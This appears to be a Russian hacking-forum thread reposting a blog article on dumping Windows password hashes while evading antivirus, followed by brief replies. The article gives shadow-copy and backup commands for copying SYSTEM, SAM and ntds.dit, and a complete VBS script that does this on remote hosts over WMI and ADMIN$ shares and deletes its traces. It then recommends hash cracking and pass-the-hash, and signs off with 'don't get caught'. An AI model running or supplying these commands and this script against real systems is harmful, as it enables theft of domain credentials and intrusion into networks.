Новости из Блогов Windows shadow hack

Discussion in 'Мировые новости. Обсуждения.' started by VY_CMa, 9 Feb 2014.

  1. VY_CMa

    VY_CMa Green member

    Joined:
    6 Jan 2012
    Messages:
    917
    Likes Received:
    492
    Reputations:
    724
    Потихоньку проходят времена, когда можно было беспрепятственно шнырять fgdump'ом по всей сети. Сейчас же на каждой корпоративной рабочей станции установлен грозный антивирус, который палит всякие полезные программки, называя их как-то созвучно со словом "hack". В довесок, наблюдается грустная тенденция по инсталляции аверов для защиты серверов все чаще и чаще :(( ...

    Убить всяких касперов по-простому, к сожалению, не всегда удается. Поэтому тру-парни пользуют либо собственные сборки fgdump'ов, перекриптованные собственными пакерами, либо ищут альтернативные пути доступа к хешикам пользователей скомпрометированных систем. Про альтернативные методы дерганья нужных данных как раз и пойдет речь в данной публикации.

    Первое, что приходит в голову - это воспользоваться встроенными механизмами резервного копирования операционной системы вындовс. Для серверов и рабочих станций справедлива следующая команда:
    Code:
    ntbackup backup systemstate /F "C:\backup.bkf"
    и
    Code:
    wbadmin start systemstatebackup -backupTarget:D: -quiet 
    (для более старших осей)
    В данном случае мы получаем system state, который после переброса на компьютер атакующего, необходимо развернуть в тестовой среде. Затем, для получения доступа к свежей копии продуктивной вражеской системы, можно воспользоваться, например, ElcomSoft System Recovery.

    Я люблю данный способ, потому как он позволяет в спокойной обстановке изучить систему с использованием привычных интерфейсов без страха неожиданно потерять к ним доступ. Это особенно выгодно, когда речь заходит про копию контроллера домена. Однако у данного подхода существует и серьезное ограничение, связанное с размером файла резервной копии. Для небольшого домена размер файла резервной копии может достигать нескольких гигабайт. Поэтому в ситуевине, когда атакующий ограничен шириной канала, такой вариант, увы, не подходит.

    Другой альтернативой достижения аналогичных целей является функция "скрытого копирования" (shadow copy), которая впервые появилась в Windows 2003. Для контроллера домена типовая атака состоит из следующих шагов (см. ссылку ):

    1. Получаем слепок целевой системы
    Code:
    vssadmin create shadow /for=C:
    2. Копируем необходимые файлы
    Code:
     
    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\ System32\config\SYSTEM system.file
    Code:
     
    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\ NTDS\NTDS.dit ntdsdit.file
    Прим. Файл "system" хранит в себе syskey, который требуется для доступа к чувствительным данным, содержащимся в файле "ntds.dit". Файл "ntds.dit" - это реплика каталога домена.

    3. После перемещения этих двух файлов в собственную среду, можно поколдовать над ними с использованием NTDSXtract framework (см. также ссылку ).

    4. Грепаем хешики и запускаем перебор паролей

    Прим. Стоит помнить, что на случай не брутабельных паролей, атакующего может выручить атака pass-the-hash. Это справедливо и в случае, когда на контроллере домена задействована настройка не хранить lm-хеш после смены пароля пользователем.

    С контроллером домена все норм, а вот на рабочих станциях волшебство из командной строки заканчивается. Дело в том, что парни из MS делают все возможное, чтобы максимально разнообразить жизнь суровым сисадминам и тем, кто ими становится после эксплуатации соответствующих уязвимостей на операционных системах, предназначенных для офисного планктона. Ограничивают доступ к системе по RDP в одну сессию, не ставят по умолчанию telnet в последних сборках винды, подсовывают урезанную версию vssadmin, которая не умеет делать новые копии состояния файловой системы. Но выход есть! Все аналогичные действия можно провернуть через WMI.

    Code:
    ...
    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set objShadowStorage = objWMIService.Get("Win32_ShadowCopy")
    errResult = objShadowStorage.Create("C:\", "ClientAccessible", strShadowID)
    ...
    Так был написан наколенный вариант vbs-скрипта для скрытого резервного копирования нужных файлов:
    Code:
    Dim filescopy,filenames  
        filescopy = Array("\Windows\System32\config\system","\Windows\System32\config\sam","\Windows\NTDS\ntds.dit")  
          
        set fso=CreateObject("Scripting.FileSystemObject")  
        set objNetwork = CreateObject("WScript.Network")  
        Set WShell = CreateObject("WScript.Shell")  
          
        tmpdir = fso.GetTempName  
        CurrentDirectory = fso.GetAbsolutePathName(".")  
          
        Set objArgs = WScript.Arguments  
        if WScript.Arguments.Count = 3 then  
            WScript.Echo "Server: " & objArgs(0)  
            WScript.Echo "User: " & objArgs(1)  
            WScript.Echo "Password: " & objArgs(2)  
            Set objSWbemLocator = CreateObject("WbemScripting.SWbemLocator")  
            Set objWMIService = objSWbemLocator.ConnectServer(objArgs(0), "root\cimv2", objArgs(1), objArgs(2))  
            srv = objArgs(0)  
        else  
            WScript.Echo "Server: localhost"  
            Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")  
            srv = "127.0.0.1"  
        end if  
          
        Set objShadowStorage = objWMIService.Get("Win32_ShadowCopy")  
        errResult = objShadowStorage.Create("C:\", "ClientAccessible", strShadowID)  
          
        Set colItems = objWMIService.ExecQuery("Select DeviceObject from Win32_ShadowCopy where ID='" & strShadowID & "'")  
        For Each objItem in colItems  
         strDeviceObject = objItem.DeviceObject  
        Next  
          
        Set objStartup = objWMIService.Get("Win32_ProcessStartup")   
        Set objConfig = objStartup.SpawnInstance_  
        objConfig.ShowWindow = 12  
        set objProcess=objWMIService.Get("Win32_Process")  
          
        errResult = objProcess.Create("cmd /c mkdir %windir%\Temp\" & tmpdir,Null,objConfig,intProcessID)  
        For Each val In filescopy  
         errResult = objProcess.Create("cmd /c copy " & strDeviceObject & val & " %windir%\Temp\" & tmpdir,Null,objConfig,intProcessID)  
         Call ProcMon(intProcessID)  
        Next  
          
        if srv = "127.0.0.1" Then  
         WShell.run("cmd /c move /Y %windir%\Temp\" & tmpdir & " " & CurrentDirectory & "\127.0.0.1"), 0, true  
        Else  
         WShell.run("cmd /c net use \\" & srv & "\ADMIN$ " & objArgs(2) & " /u:" & objArgs(1) & " && mkdir " & CurrentDirectory & "\" & srv & " && copy /Y \\" & srv & "\ADMIN$\Temp\" & tmpdir & "\* " & CurrentDirectory & "\" & srv & "\ && rmdir /S /Q \\" & srv & "\ADMIN$\Temp\" & tmpdir & " && net use \\" & srv & "\ADMIN$ /del"), 0, true  
        End if  
          
        Function ProcMon(intProcessID)  
            Dim colProcesses, ExitFlag  
            Set colProcesses = objWMIService.ExecNotificationQuery("SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_Process'")  
            Do Until ExitFlag  
         Set objLatestProcess = colProcesses.NextEvent  
             If objLatestProcess.TargetInstance.ProcessID = intProcessID Then ExitFlag = true    
            Loop      
        End Function  
    Пример выполнения:
    [​IMG]

    На этом сегодня все. Не попадайтесь!

    Дата: 9/18/2013
    Автор: Dmitry Evteev
    Источник: http://devteev.blogspot.ru/2013/09/windows-shadow-hack.html​
     
    _________________________
  2. Adio

    Adio Elder - Старейшина

    Joined:
    23 May 2005
    Messages:
    1,646
    Likes Received:
    148
    Reputations:
    18
    Статья не плохая но это все "Олдскульнын способы еще были хрен зна когда" батники тому примеру - хорошо изучив азы и слабые места системы можно творить что угодно а их не мало :) и касперы будут молчать и фаерволы - у них у всех шаткая политика :) как и у всей линейки виней
     
  3. Xii

    Xii New Member

    Joined:
    3 Jul 2013
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Эх, а куда податься молодым и не опытным. Новых статей нету, а старые уже не работают!
     
  4. Adio

    Adio Elder - Старейшина

    Joined:
    23 May 2005
    Messages:
    1,646
    Likes Received:
    148
    Reputations:
    18
    Учи, потом обновляйся на базе старых методов
     
Loading...